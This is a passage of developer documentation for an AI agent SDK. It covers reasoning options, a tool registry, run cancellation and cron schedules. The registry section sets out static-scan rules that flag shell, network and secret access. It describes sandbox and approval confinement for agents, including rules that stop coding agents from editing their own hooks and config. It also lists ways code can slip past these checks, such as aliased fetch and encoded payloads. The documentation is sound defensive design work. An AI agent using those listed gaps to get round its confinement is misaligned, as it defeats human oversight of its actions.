            {todo.status === 'completed' ? '[x]' : todo.status === 'in_progress' ? '[>]' : '[ ]'} {todo.content}
          </li>
        ))}
      </ul>
      <button onClick={() => agent.send('Migrate the repo to ESM')}>Start</button>
    </aside>
  );
}
```

`current` is the `in_progress` item, else the first `pending` one, and `undefined`
when nothing is left; `progress` is `completed / total` (0 for an empty list).
The view is memoized on `agent.todos`. `todoView(todos)` computes the same view
outside React.


# Reasoning
Source: https://lousho.com/reasoning



Reasoning models think before they answer. The `reasoning` option sets how
much, and the run reports what the model thought separately from its answer:
as `reasoning.*` events in `agent.stream()`, and as `result.reasoning`. The
`vendor/` model prefix chooses the provider; with OpenRouter use
`openrouter/<vendor>/<model>` (e.g. `openrouter/anthropic/claude-sonnet-4.5`).

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({
  model: 'anthropic/claude-sonnet-4-5',
  instructions: 'You solve puzzles.',
  reasoning: 'medium',
});

for await (const event of agent.stream('Which weighs more, a kilo of feathers or a kilo of lead?')) {
  if (event.type === 'reasoning.delta') process.stdout.write(`\x1b[2m${event.text}\x1b[22m`);
  if (event.type === 'reasoning.done') console.log(`\n(${event.tokens ?? '?'} reasoning tokens)`);
  if (event.type === 'text.delta') process.stdout.write(event.text);
}

// One call can think harder; the object form takes a budget and a summary request.
const result = await agent.send('Prove it.', { reasoning: { effort: 'high', budgetTokens: 16_000 } });
console.log(result.reasoning, result.usage.reasoningTokens);
```

## The option

`reasoning` is an effort, `'none' | 'minimal' | 'low' | 'medium' | 'high'`,
or an object:

| Field | Meaning |
| - | - |
| `effort` | As above. Default `'medium'`. |
| `budgetTokens` | A token budget, for providers that take one (Anthropic, OpenRouter). Others use `effort`. |
| `summary` | `'auto'` asks OpenAI's Responses API for a reasoning summary (that is what OpenAI streams as reasoning). |
| `force` | Send the options even when the model is not in the known reasoning families (see below). |

Set it on `createAgent({ reasoning })` for every run, or per call with
`send(input, { reasoning })` / `stream(input, { reasoning })`. A sub-agent
uses its own `reasoning`, not its parent's. `AgentExecutor.execute()` takes
it as `ExecuteOptions.reasoning`, and a custom provider receives it as
`GenerateOptions.reasoning`.

`'none'` sends nothing: the model runs with its provider's default (OpenAI
reasoning models still reason at their default effort).

## Provider mapping

| Provider | Sent as | Effort mapping |
| - | - | - |
| OpenAI | `providerOptions.openai.reasoningEffort` (and `reasoningSummary: 'auto'` with `summary: 'auto'`) | The effort as it is (`'minimal'` is for GPT-5 models). |
| Anthropic | `providerOptions.anthropic.thinking: { type: 'enabled', budgetTokens }` | `minimal` 1024, `low` 2048, `medium` 8192, `high` 24576 tokens; `budgetTokens` overrides (at least 1024, Anthropic's minimum). |
| OpenRouter | The request body's unified `reasoning` field | `{ max_tokens: budgetTokens }` when a budget is given, else `{ effort }`. |
| Ollama | `providerOptions.ollama.think: true` (`ollama-ai-provider-v2`, `ai` 6/7) | On/off only. With `ai` 4 (`ollama-ai-provider`) the option is ignored, with one warning. |

Constraints the provider packages apply for you: `@ai-sdk/anthropic` adds the
thinking budget to `max_tokens` (so the budget always stays below it) and
drops `temperature` and `topP`, which Anthropic does not allow with thinking;
`@ai-sdk/openai` drops `temperature` for reasoning models. Both log a warning
when they drop a setting.

### Which models get it

Options are only sent to model families known to accept them, so a model
that does not reason never gets an unknown-option error:

| Provider | Model ids |
| - | - |
| OpenAI | `o1` and later o-series (not `o1-mini` / `o1-preview`), `gpt-5` and later (not the `-chat` models) |
| Anthropic | `claude-3-7-*`, `claude-sonnet-4*`, `claude-opus-4*`, `claude-haiku-4*`, `claude-fable-*` and later |
| OpenRouter | `*/o1`..., `*/gpt-5`..., Claude 3.7 / 4+ (including Fable), `deepseek-r1`, `deepseek-v3.1`+, `gpt-oss`, `gemini-2.5`+, `grok-3`+, `qwen3`, `:thinking` variants |
| Ollama | `deepseek-r1`, `qwen3`, `gpt-oss`, `magistral` |

For any other model id (a fine-tune, a new family) pass `{ effort, force: true }`.
When `reasoning` is set and a model is not sent it, a warning is logged once per provider and model.

## Events and results

`agent.stream()` emits `reasoning.start`, then `reasoning.delta` (`text`) as
the model thinks, then `reasoning.done` (`text`: all of it; `tokens` when the
provider has reported reasoning tokens by then). They come inside the step,
before the step's first `text.delta` or `tool.start`. A provider that cannot
stream reports a step's reasoning as one start/delta/done before its text.

`result.reasoning` is the reasoning text of the run's steps, joined with a
blank line. `result.usage.reasoningTokens` (and each `stepUsage` entry) counts
reasoning tokens when the provider reports them; the `chat` span carries them
as `lousho.usage.reasoning_tokens`.

The consumers show it too: `reduceAgentEvents()` keeps it as the assistant
message's `reasoning`, `toUIMessageStream()` emits `reasoning-start` /
`reasoning-delta` / `reasoning-end` parts for `useChat`, `lousho acp` sends
`agent_thought_chunk` updates, and `lousho chat` prints it dimmed.

## What is kept in the transcript

Reasoning is never written into the transcript as text and never sent back
to the model as content, with one exception the provider requires: Anthropic
needs a turn's thinking blocks, unmodified and with their signatures, when it
continues after that turn's tool calls. So:

* An assistant message that made tool calls keeps its signed (or redacted)
  thinking blocks in `message.reasoning`; the Anthropic provider sends them
  back first in that turn. They survive the next step, a checkpoint, a crash
  resume and an approval pause, since they are part of the saved messages.
* Unsigned reasoning (OpenAI, Ollama, OpenRouter) and the reasoning of a
  final reply are not kept in `messages`. OpenAI's encrypted reasoning items
  are not carried between steps.
* Other providers ignore `message.reasoning`.


# Registry
Source: https://lousho.com/registry



`lousho add` installs a tool, skill, channel, schedule, memory slot or kit into an
[agent directory](/agent-directories) from a registry. A `kit` item is a
whole agent directory: installing it lays out `agent.*`, `instructions.md`,
tools, skills and sub-agents so the target becomes (or grows into) an agent
directory itself. A registry is plain
static JSON: an index plus one document per item that carries the file contents.
The files are copied into your project as source you own and can edit. There is
no runtime plugin loader, and nothing from a registry is executed or imported
while adding it.

`lousho add` works out of the box: without `--registry` or `LOUSHO_REGISTRY` it
reads the default registry at `https://registry.lousho.com/index.json`, which
is the `registry/dist/` folder of the SDK's repository served as static JSON.
When that host cannot be reached, `lousho add` reads the same committed folder
from GitHub instead: the release tag of the installed SDK version
(`https://raw.githubusercontent.com/LinuxDevil/agent-sdk/<version>/registry/dist/index.json`),
then the same tag with a `v` prefix (older releases), then `main`.
If GitHub cannot be reached either (offline, an outage, a version whose tag was
never pushed), `lousho add` reads the copy of `registry/dist/` that ships inside
the installed package and prints a one-line notice that this bundled registry
may be older than the online one. Only the default falls back, never a registry you named.
`--registry` and `LOUSHO_REGISTRY` point it at another registry, and the value
`none` (in either place) disables the registry entirely — `lousho add` then
fails with `LOUSHO_CONFIG_INVALID`, for offline or locked-down use.

The default registry currently carries nine items:

| Name | Type | Permissions it asks for |
| - | - | - |
| `changelog` | skill | none |
| `code-review` | skill | none |
| `coding-kit` | kit (a coding harness as a whole agent directory) | `exec`, `fs-write` |
| `coding-pi` | kit (the coding harness on the Pi provider with a Pi coding sub-agent) | `exec`, `fs-write`, `api.openrouter.ai`, `OPENROUTER_API_KEY` |
| `generic-webhook` | channel | `WEBHOOK_SECRET` |
| `github-issues` | tool (list and create issues; create asks for approval) | `api.github.com`, `GITHUB_TOKEN` |
| `inbox-triage` | kit (a message-triage agent directory: inbox/outbox tools, an approval-gated reply pipeline, a webhook channel, a poll schedule, per-sender memory) | `fs-write`, `INBOX_TRIAGE_HOME`, `INBOUND_TOKEN`, `INBOX_TRIAGE_AUTO_APPROVE`, `OPENROUTER_API_KEY` |
| `incident-response` | kit (an SRE incident-response agent directory: HMAC-verified alert webhook, risk-tiered remediation approvals, an audit timeline) | `fs-write`, `INCIDENT_WEBHOOK_SECRET`, `INCIDENT_TIMELINE_FILE` |
| `open-meteo-weather` | tool | `api.open-meteo.com`, `geocoding-api.open-meteo.com` |

The coding kits (`coding-kit`, `coding-pi`) use the agent directory itself as
the project workspace. Their file tools therefore refuse to change the
agent's own files: `agent.*`, `approve.*`, `hooks.*`, `instructions*`,
`lousho-registry.json`, and anything under `.lousho/`, `tools/`, `skills/`,
`subagents/`, `.git/` and `node_modules/`. Their shell runs only `node --test`
(test file paths, no flags) and `git status`. The kits still run the tests the
agent writes code for, so the agent's code runs as your user. Use a sandboxed
shell for untrusted work (see [Workspace tools](/workspace-tools)). The
`coding-pi` kit's Pi coder sub-agent has its own tools, and these rules do not
cover them.

```bash theme={null}
lousho add --list                       # the default registry's items
lousho add open-meteo-weather --dir ./my-agent
lousho add web-search --registry https://example.com/registry/index.json --dir ./my-agent
LOUSHO_REGISTRY=./registry/index.json lousho add web-search --dry-run
lousho add --list --registry none       # fails: the registry is disabled
```

| Flag | Meaning |
| - | - |
| `--registry <url-or-path>` | The index: an `http(s)` URL or a local path (`LOUSHO_REGISTRY` when absent, else the default registry). `none` disables the registry. |
| `--dir <agent-dir>` | The agent directory to write into (default: the current directory). It must exist, except for a `kit`, which creates it. For any other item, a directory without `agent.*` or `instructions.md` gets a warning: only an agent directory loads `tools/` and `skills/` (a `lousho init` project imports tools in `src/agent.ts` instead). |
| `--yes`, `-y` | Do not ask for confirmation. Required when stdin is not a terminal. Does not grant elevated permissions on its own (see `--allow`). Both flags are checked before anything is printed: a non-interactive run without them fails with one line naming the exact flags the item needs, e.g. `pass --yes --allow exec,fs-write`. |
| `--allow <list>` | With `--yes`, the elevated permissions you grant, comma-separated: `exec`, `fs-write`, `network`, `env`. An item that asks for one you did not name is refused. |
| `--overwrite` | Replace files that already exist (without it an existing file is `LOUSHO_REGISTRY_FILE_EXISTS`). |
| `--dry-run` | Print the manifest and the files, write nothing, exit 0. |
| `--list` | Print the registry's items and exit. |

Before it writes anything, `lousho add` prints the permission manifest and the
files it will write, checks the item's code against the manifest, then asks
`[y/N]`. After writing, it records the item in `lousho-registry.json`.

## Format

The index is `{ items: [{ name, type, description, url | path }] }`. `type` is
`tool`, `skill`, `channel`, `schedule`, `memory` or `kit`. `url` / `path` locate the
item document; a relative one is resolved against the index's own location.

Each item document is:

```json theme={null}
{
  "name": "web-search",
  "type": "tool",
  "description": "Search the web with the Example Search API",
  "files": [
    {
      "path": "tools/web-search.ts",
      "content": "import { defineTool } from '@lousho/build-ai-agent';\nimport { z } from 'zod';\n\nexport default defineTool({\n  name: 'web-search',\n  description: 'Search the web',\n  input: z.object({ query: z.string() }),\n  needsApproval: true,\n  execute: async ({ query }) => {\n    const response = await fetch(`https://api.example.com/search?q=${encodeURIComponent(query)}`, {\n      headers: { authorization: `Bearer ${process.env.SEARCH_KEY}` },\n    });\n    return response.json();\n  },\n});\n"
    }
  ],
  "permissions": {
    "network": ["api.example.com"],
    "env": ["SEARCH_KEY"],
    "filesystem": "none",
    "exec": false,
    "needsApproval": true
  },
  "dependencies": ["zod"]
}
```

and its entry in `index.json`:

```json theme={null}
{
  "items": [
    { "name": "web-search", "type": "tool", "description": "Search the web with the Example Search API", "path": "items/web-search.json" }
  ]
}
```

Host both as static files anywhere (a folder in a repository, an object store, a
web server). The document's `name` and `type` must match its index entry, and a
name starts with a letter or digit, followed by letters, digits, `.`, `_` and
`-`. A document that does not match the
format is `LOUSHO_REGISTRY_INVALID`, with the fields named.

To contribute an item to the default registry, add a `registry/<name>/` folder
to the SDK's repository: an `item.json` (`name`, `type`, `description`,
`permissions`, `dependencies`) and the item's files laid out the way they
should land in the agent directory (`tools/x.ts`, `skills/<name>/SKILL.md`,
`channels/x.ts`; a `kit`'s files make up a whole agent directory, e.g.
`agent.json`, `instructions.md`, `hooks.ts`, `tools/`, `subagents/<name>/`).
`npm run registry:build` validates every item against the
same rules `lousho add` enforces (schema, paths, the code/manifest check) and
rebuilds `registry/dist/`; commit the result. CI runs `npm run registry:check`,
which fails when `registry/dist/` is stale.

## Permission manifest

`permissions` declares what the item can do, so you can decide before you
install it. All of it is optional; what is missing is shown as "none" / "no".

| Field | Meaning |
| - | - |
| `network` | Hosts it calls. |
| `env` | Environment variables it reads. |
| `filesystem` | `none`, `read` or `write`. |
| `exec` | `true` when it runs commands. |
| `needsApproval` | `true` when its tools ask for [approval](/approvals) before they run. |

What `lousho add` enforces, before it writes anything:

* **The code matches the manifest.** Every JavaScript and TypeScript file of the
  item is scanned, with comments stripped, for what it visibly reaches for:

  * `exec: true` for an import of `child_process` (with or without `node:`),
    `execa` or `shelljs`, or a use of the SDK's `createShellTool`,
    `runShellCommand` or `SubprocessSandbox`;
  * `filesystem: "read"` (or `"write"`) for an import of `fs` (including
    `fs/promises` and the `node:` forms), `fs-extra` or `graceful-fs`, or the
    SDK's `createFsTools`, and `"write"` for a call to `writeFile`, `appendFile`,
    `createWriteStream`, `mkdir`, `mkdtemp`, `rm`, `rmdir`, `unlink`, `rename`,
    `copyFile` or `cp` (and their `Sync` forms);
  * a non-empty `network` for `fetch(`, a use of the SDK's `createHttpTool`, or
    an import of `http`, `https`, `http2`, `net`, `tls`, `dgram`, `undici`,
    `axios`, `node-fetch` or `ws`, and every `http(s)://` or `ws(s)://` host in a
    string must match a `network` entry (a host built at run time, such as
    `` `https://${host}/` ``, needs a non-empty `network` and is printed as a note,
    since it cannot be checked);
  * every `process.env.NAME` and `process.env['NAME']` must be listed in `env`.

  `eval(`, `new Function(`, a computed `process.env[name]`, `process.env` used as
  a whole, an `import()` or `require()` of anything but a string literal, and
  `require` used as a value (`const r = require`) are
  always refused. A mismatch is `LOUSHO_REGISTRY_MANIFEST_MISMATCH` with every
  finding as `<file>:<line>: <what> (<fix>)`; `--dry-run` reports it too. Markdown
  and other files that are not code (a skill's `SKILL.md`) are not scanned.
  `network` entries must be host names or `*.` wildcards (`api.example.com`,
  `*.example.com` — a wildcard matches subdomains only, not the bare host) and
  `env` entries variable names (`SEARCH_KEY`); anything else
  is `LOUSHO_REGISTRY_INVALID`.
* **Consent covers the elevated permissions.** `exec: true`, `filesystem: "write"`,
  a non-empty `network` and a non-empty `env` are marked `[elevated: ...]` in the
  printed manifest. The interactive prompt lists them before `[y/N]`. With `--yes`
  each one must be named in `--allow` (`--allow network,env` for the example
  above), because `--yes` is how scripts and agents run `lousho add` and should not
  grant command execution silently.
* **A receipt of what was installed.** After writing, `lousho add` updates
  `lousho-registry.json` at the root of the agent directory (next to
  `instructions.md`). Each item's entry has its
  `type`, the `registry` it came from, `installedAt`, the `permissions` and every
  file's `path` and `sha256`, so you can tell later whether a file was edited.
  `--overwrite` replaces the entry; `--dry-run` writes nothing. A receipt that is
  not valid JSON stops the install before any file is written. The receipt is
  what `loadAgentDir` enforces at load and run time (below).

What `loadAgentDir` enforces, from the receipt, when the agent loads and the
item's tools run:

* **Integrity.** Every file the receipt lists is re-hashed. A file that was
  edited or removed since makes its item *unattested*: a warning names the item
  and the changed files, and `resolveAgentDir()` reports the same in
  `manifest.registry` (`status: 'attested' | 'unattested'`, plus the `modified`
  and `missing` paths). Loading is not refused - the files are yours to edit -
  and an unreadable receipt is a warning, not an error.
* **Approval.** The tools of an item declaring `exec: true` or
  `needsApproval: true` - and of any unattested item, whose stale receipt no
  longer certifies the modified code - always wait for
  [approval](/approvals); a `deny` from the tool's own `needsApproval`
  still denies. Nothing in the agent directory can waive it: an `allow`
  [permission rule](/approvals#permission-policies) and a
  [permission mode](/permission-modes) (`acceptEdits`) do not run the call
  (a `deny` rule, `plan` or `dontAsk` still refuses it), and the directory's own
  `approve` file defers it. Only a person resolving the pause
  (`agent.approvals.resolve()`) or an `approve` callback your code passes to
  `loadAgentDir(dir, { approve })` decides it.
* **Sub-agents.** A sub-agent directory inside the installed item (a kit's
  `subagents/<name>/`) is held to the same receipt: its tools are confined
  like the item's other tools, and its own `approve` file defers their
  enforced calls too. A sub-agent's pause has no `approvals.resolve()` handle,
  so the `approve` callback your code passes to `loadAgentDir()` decides them;
  without one the delegated call does not run, and the lead is told that the
  sub-agent stopped for an approval.
* **Network.** While a receipt item's tool runs, `fetch` is limited to the
  hosts its `network` declares: a host the manifest does not list is refused,
  and an item that declares no `network` cannot fetch at all.
* **Environment.** While it runs, `process.env` shows the tool only the names
  `env` declares.
* **Sandboxed tools.** A `requiresSandbox` tool gets a narrowed adapter:
  `run()` is refused without `exec`, `writeFile()` without
  `filesystem: "write"`, and a command's environment is the usual non-secret
  base plus the declared variables only.

The confinement stays at least as narrow as the manifest accepted at install,
attested or not: editing an installed file marks it, asks for approval on its
calls, and widens nothing, until `lousho add <name> --overwrite` installs the
current files and attests them again.

What it does not do: the install-time check reads the code as written, and the
run-time confinement covers only what the SDK can intercept - calls to `fetch`
and `process.env` reads made while the tool runs, and the adapter handed to a
sandboxed tool. Requests through `http`/`net`/`axios`, file access, a reference
captured at module scope (`const f = fetch`), work done when the file is
imported, and a container's own network policy (`SubprocessSandbox`'s
`{ allow }` is a property of the sandbox, not of the item) are all outside it;
so is code that hides what it does (string escapes, aliasing, encoded
payloads, a dependency that does the work) from the static check. Read the
files it lists (`--dry-run` shows them) the way you would read any dependency
before running it.

## Safety rules

* Every `files[].path` must be relative, normalized and forward-slashed: no
  `..`, no absolute path, no drive letter (`C:`), no backslashes, no empty or `.`
  segments. After resolving symlinks it must still be inside the agent directory,
  and a symlink target is never written through.
* A file must be inside the folder its item's type allows: `tool` in `tools/`,
  `skill` in `skills/<name>/`, `channel` in `channels/`, `schedule` in
  `schedules/`, `memory` in `memory/`. A `kit` is the one exception: as a whole
  agent directory its files may sit at any relative path (still normalized and
  inside the target, per the rule above).
* Existing files are not overwritten without `--overwrite`. All files are checked
  before any is written, so a bad item writes nothing. Each of these failures is
  `LOUSHO_REGISTRY_UNSAFE_PATH` or `LOUSHO_REGISTRY_FILE_EXISTS`.
* A file is at most 256 KiB and an item at most 1 MiB; a registry document at
  most 2 million characters.
* Only `http(s)` URLs and local paths are read, with a 15 second timeout per fetch
  (`LOUSHO_REGISTRY_UNREACHABLE` otherwise).
* `dependencies` are printed as an `npm install ...` line for you to run. The
  command never installs packages.

Errors are listed in [Errors](/errors#registry). The CLI as a whole is in
[CLI](/cli).


# Runs: finish reasons, cancellation and parallel tools
Source: https://lousho.com/runs

How a run ends, how to stop one, and how tool calls of one model turn run in parallel.

## Finish reasons

`result.finishReason` says why a run ended: the model's own reason for its last
turn (`'stop'`, `'length'`, `'tool_calls'`, `'content_filter'`, `'error'`, `'other'`;
a reason a provider reports outside these is `'other'`),
`'awaiting-approval'` (paused on a tool call that needs a human), `'aborted'`
(cancelled with `signal`), `'max-steps'`, `'output-invalid'` (the reply
did not match the `output` schema even after the repair step, see
[Structured output](/structured-output)), `'budget-exceeded'` (a
`limits` budget such as `maxTokens` or `maxCostUsd` tripped; `result.budget`
says which, see [Budgets](/configuration#budgets)), or `'guardrail'` (an
input, output or tool guardrail blocked; `result.guardrail` says which, see
[Input and output guardrails](/guardrails#input-and-output-guardrails)). The type
(`ExecutionFinishReason`) is a closed union, so comparing with a misspelled
reason does not compile. `'max-steps'` means the `maxSteps`
budget (default 10) ran out while the model still wanted to continue, so the
reply may be empty or partial; a run that finishes naturally within the budget
keeps its `'stop'`. Steps carried over by `initialSteps` or an approval resume
count against the budget, and `result.steps` is the number of steps taken. The
same reason is on `run.done` in [streaming](/streaming) (and on `finish`,
the deprecated `onEvent` counterpart).

```ts theme={null}
import { createAgent, createMockProvider } from '@lousho/build-ai-agent';
const agent = createAgent({ instructions: 'You are helpful.', provider: createMockProvider(), maxSteps: 3 });
const result = await agent.send('Research this thoroughly');
if (result.finishReason === 'max-steps') console.warn(`Gave up after ${result.steps} steps`);
```

## Cancellation

Pass an `AbortSignal` to stop a run: `agent.send(input, { signal })`,
`AgentExecutor.execute({ ..., signal })` or
`resumeAfterApproval(..., { signal })`.

```ts theme={null}
import { createAgent, createMockProvider } from '@lousho/build-ai-agent';
const agent = createAgent({ instructions: 'You are helpful.', provider: createMockProvider() });
const controller = new AbortController();
setTimeout(() => controller.abort(), 5_000); // e.g. from a Stop button
const result = await agent.send('Write a long report', { signal: controller.signal });
console.log(result.finishReason); // 'aborted' if it was cancelled, else 'stop'
```

For a time limit, use `AbortSignal.timeout(ms)`:

```ts theme={null}
import { createAgent, createMockProvider } from '@lousho/build-ai-agent';
const agent = createAgent({ instructions: 'You are helpful.', provider: createMockProvider() });
const result = await agent.send('Summarize this', { signal: AbortSignal.timeout(30_000) });
```

How it behaves:

* The signal is checked before every model call and every tool call. It is
  passed to the provider (`GenerateOptions.signal`, sent to the `ai` SDK as
  `abortSignal`) and to each tool as `execute(args, { abortSignal })`, so
  in-flight work can stop early. The built-in `httpTool` passes it to
  `fetch`, and delegated child runs (the `task` tool) are aborted along
  with their parent.
* An aborted run **resolves** (it does not reject) with
  `finishReason: 'aborted'` and the messages and steps so far. A streamed
  model call cut off by the abort leaves the text it streamed as
  `result.text` (and as an assistant message marked `interrupted`). A rejection
  caused by the abort, such as an `AbortError`, is not treated as a failure:
  it is not retried by the provider retry and fallback wrappers and is not
  compacted into a provider error.
* The run's events end with `run.done` with `finishReason: 'aborted'`.
* The run does not wait for a provider that ignores the signal: the model
  call is abandoned at the abort (its late reply, and anything it streams
  afterwards, is dropped) and the run ends `'aborted'`. A tool that ignores
  its `abortSignal` is not waited for either: the run ends `'aborted'`
  without another model call, the still-running call gets a 'cancelled'
  result, and the tool keeps running in the background (a result already
  landing as the signal fires is still kept). `defineTool({ timeoutMs })`
  bounds a tool's call: one
  still running then fails with a tool error the model sees, and a run
  aborted while such a call runs stops waiting for it.
* `result.abortReason` says why: the signal's reason as `{ name, message }`,
  `name` being `'TimeoutError'` for `AbortSignal.timeout()`, `'AbortError'`
  for `controller.abort()` (with the text of a string reason, e.g.
  `controller.abort('user left')`), or an Error reason's own name.
* With `sessionId` + `checkpointStore`, the state is checkpointed. Calling
  `execute()` again with the same `sessionId` resumes where the run stopped;
  new `input` is appended as the next user message (see
  [Durable execution](/durable-execution)). Tool calls the run never
  reached get an `{ error }` result saying they were cancelled, so the
  conversation stays valid for the provider.
* An already-aborted signal returns at once without calling the provider.

## Parallel tool calls

When the model asks for several tools in one turn, they run concurrently.
`toolConcurrency` (on `createAgent()` and `AgentExecutor.execute()`) caps how
many run at once: a positive integer, or `'unbounded'` (the default). Use `1`
for strictly sequential execution, e.g. when your tools share state that is
not safe to touch concurrently.

```ts theme={null}
import { createAgent, createMockProvider, defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

const getWeather = defineTool({
  name: 'get_weather',
  description: 'Current weather for a city',
  input: z.object({ city: z.string() }),
  execute: async ({ city }) => ({ city, tempC: 21 }),
});

const agent = createAgent({
  instructions: 'You are a travel assistant.',
  provider: createMockProvider(),
  tools: [getWeather],
  toolConcurrency: 4, // at most 4 tool calls of a turn in flight
});
```

Guarantees, whatever the limit:

* **Transcript order is call order.** Tool results are appended in the order
  the model requested the calls, not the order they finish, so the next
  provider request is deterministic.
* **Events.** Calls start in call order. A call's `tool.start` event,
  `onToolCall`, argument validation, `preToolCall` hooks and `needsApproval`
  check run just before it starts, one call at a time. Its `tool.done` (or
  `tool.error`) event fires when it finishes, so results arrive in completion
  order. With `toolConcurrency: 1` events alternate start/settle exactly as
  before.
* **Approvals.** The first call that needs approval stops the batch: the
  calls before it run (concurrently) and their results are recorded, then the
  run pauses on that call (`finishReason: 'awaiting-approval'`). Calls after
  it never start in this run. `resumeAfterApproval()` records the paused
  call's result (or rejection) and then runs those later calls the same way,
  so every call of the turn gets exactly one result - see
  [Durable execution](/durable-execution#approvals-in-the-middle-of-a-tool-batch).
* **Failures are isolated.** A tool that throws gets its own error result;
  its siblings carry on. A propagating error (`PropagatingToolError`, such as
  the delegation depth guard, or a throwing hook) stops new calls from
  starting, waits for the running ones to settle, then rejects the run. No
  tool is left running detached.
* **Cancellation.** An abort while a batch runs resolves with
  `finishReason: 'aborted'`. Calls that finished keep their results; the rest
  get a "cancelled" result. Running tools see the abort through their
  `abortSignal`.
* **Checkpoints.** With `sessionId` + `checkpointStore`, the model's turn is
  checkpointed before any call starts, then again each time the in-order run
  of finished calls grows (with `1`, after every call). A resumed run never
  runs a recorded call again, and never asks the model again for a turn it
  already checkpointed.


# Schedules
Source: https://lousho.com/schedules



A **schedule** runs the agent on a cron expression, with nobody asking: a
morning summary, a nightly cleanup. `defineSchedule()` declares one, an
[agent directory](/agent-directories) picks them up from `schedules/`, and
`startSchedules()` (or the node server) runs them in process. Schedules replaced
`CronTriggerAdapter` (see [Migrating from triggers](/upgrading#migrating-from-triggers)).

## Define a schedule

Give a cron expression and exactly one of `prompt` (text sent to the agent as a
new turn) or `run` (your own function).

```ts theme={null}
import { createAgent, createMockProvider, defineSchedule, startSchedules } from '@lousho/build-ai-agent';

const agent = createAgent({ instructions: 'You write reports.', provider: createMockProvider() });

const morning = defineSchedule({ cron: '0 9 * * MON-FRI', timezone: 'Europe/Paris', prompt: 'Summarise yesterday.' });
const cleanup = defineSchedule({
  name: 'cleanup',
  cron: '@daily',
  run: async ({ agent, firedAt }) => {
    await agent.send(`Clean up, as of ${firedAt.toISOString()}.`);
  },
});

const running = startSchedules(agent, [morning, cleanup]);
// later, on shutdown (resolves once the runs in flight have finished):
await running.stop();
```

* `cron`: five fields (`minute hour day-of-month month day-of-week`) or
  `@hourly`, `@daily`, `@weekly`, `@monthly`; evaluated in `timezone` (an IANA
  name, default the machine's zone). An invalid expression, or both/neither of
  `prompt` and `run`, throws `LOUSHO_SCHEDULE_INVALID` from `defineSchedule()`,
  not at the first fire. See [Errors](/errors#lousho_schedule_invalid).
* `run` receives `{ agent, firedAt, name }`.

`startSchedules(agent, schedules, { now?, setTimer?, onError?, keepAlive? })` keeps one
timer per schedule. A run that throws goes to `onError` (default: `console.error`)
and never stops the other schedules. A prompt schedule's turn that ends with any
`finishReason` other than `'stop'` is a failed run too: `onError` receives a
`LOUSHO_SCHEDULE_RUN_INCOMPLETE` error naming the reason, for example
`'awaiting-approval'` (with the pending approval's id, which stays pending until
you resolve it with `agent.approvals.resolve()`), `'output-invalid'` or
`'max-steps'`. A schedule does not overlap itself: if the
previous fire is still running, the next one is skipped and reported to
`onError`. Fires missed while the process was suspended are skipped, not
replayed. `now` and `setTimer` are injectable so tests never sleep.

`stop()` clears the timers, so nothing fires again, and returns a promise that
resolves once the runs already in flight have finished. You can call it without
`await`.

The timers are unref'd: they never keep a process alive on their own, so a
server or a test exits normally. A script that does nothing but run schedules
would therefore exit straight away; pass `keepAlive: true` for that:

```ts theme={null}
import { createAgent, createMockProvider, defineSchedule, startSchedules } from '@lousho/build-ai-agent';

const agent = createAgent({ instructions: 'You write reports.', provider: createMockProvider() });
const running = startSchedules(agent, [defineSchedule({ cron: '@hourly', prompt: 'Check the queue.' })], { keepAlive: true });
process.once('SIGTERM', () => void running.stop().then(() => agent.close()));
```

## Run a schedule now

`fireSchedule(agent, schedule, { name?, firedAt?, sessionId? })` fires a schedule
once, immediately, exactly as a tick would: it calls `run`, or sends `prompt`
as a turn (in `sessionId` when given, which needs an agent with a store; by
default each fire runs in its own session, `schedule-<name>-<fire time>`, when the agent has
a store, and `schedule-<name>` when the schedule sets `sharedSession: true`). It
rejects when the run fails, including with `LOUSHO_SCHEDULE_RUN_INCOMPLETE`, so
it suits an ops "run now" and tests.

With an agent `store` (file, SQLite, KV or `memoryStore()`), each fire first
claims its schedule name and fire time (to the second) in `store.checkpoints`,
so several replicas running `startSchedules()` on one store fire each tick once:
the replicas that lose the claim resolve without running anything. Two manual
fires of one schedule within the same second count as one tick too. On KV the
claim is best effort across edge locations (see
[Durable execution](/durable-execution#run-leases)).

```ts theme={null}
import { createAgent, createMockProvider, defineSchedule, fireSchedule } from '@lousho/build-ai-agent';

const agent = createAgent({ instructions: 'You write reports.', provider: createMockProvider() });
const report = defineSchedule({ name: 'report', cron: '0 9 * * *', prompt: 'Run the daily report.' });
await fireSchedule(agent, report);
```

## Prompt schedules and sessions

A prompt schedule's fire is an `agent.send(prompt, { sessionId })` run, not an
`agent.session({ id })` turn (see
[Two kinds of conversation id](/sessions#two-kinds-of-conversation-id)). Its
id is `schedule-<name>-<fire time>` (`schedule-<name>` with
`sharedSession: true`), and its conversation is kept in the agent's
`store.checkpoints`, as a finished checkpoint, when the agent has one; without
a checkpoint store the fire runs without an id and keeps nothing.
`GET /chat/<id>` and `agent.session({ id }).load()` read the session store, so
they show an empty transcript for a schedule id. Read a fire's report from the
checkpoint store instead, or continue it with `agent.fork(id)`:

```ts theme={null}
import { createAgent, createMockProvider, defineSchedule, fireSchedule, memoryStore } from '@lousho/build-ai-agent';

const store = memoryStore();
const agent = createAgent({ instructions: 'You write reports.', provider: createMockProvider(), store });
const firedAt = new Date('2026-10-05T09:00:00Z');
await fireSchedule(agent, defineSchedule({ name: 'weekly-report', cron: '0 9 * * MON', prompt: 'Summarise last week.' }), { firedAt });

const fire = await store.checkpoints.load('schedule-weekly-report-2026-10-05T090000Z');
console.log(fire?.status, fire?.messages.at(-1)?.content); // 'finished', the report
```

## In an agent directory

```text theme={null}
my-agent/
  instructions.md
  schedules/
    daily-report.ts    # export default defineSchedule({ cron: '0 9 * * *', prompt: '...' })
    nightly.ts         # name defaults to the file name ("nightly") unless the schedule sets `name`
```

`resolveAgentDir()` returns them as `schedules` (and their names in
`manifest.schedules`); `loadAgentDir()` does not start them. A directory without
`schedules/` loads exactly as before.

```ts theme={null}
import { createAgent, resolveAgentDir, startSchedules } from '@lousho/build-ai-agent';

const { config, schedules } = await resolveAgentDir('./my-agent');
const agent = createAgent(config);
const running = startSchedules(agent, schedules);
```

## On the node server

`createDeployedServer(agent, { schedules })` (the internal helper behind the
server that `lousho build` emits for the `node-server`
and `docker` targets) starts the schedules when it listens and stops them when it
closes. `lousho build ./my-agent --target=node-server` (or `docker`) builds an
agent directory into such a server, so its `schedules/` run in the deployed
process ([Deployment](/deployment#agent-directories)). A spec's cron
`triggers` (`{ type: 'cron', cron, input, name?, timezone? }`) run on these
targets too: `lousho build spec.yaml --target=node-server` converts them with the
